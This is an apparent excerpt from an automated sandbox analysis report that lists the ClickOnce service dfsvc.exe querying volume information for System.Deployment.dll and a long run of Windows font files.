Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
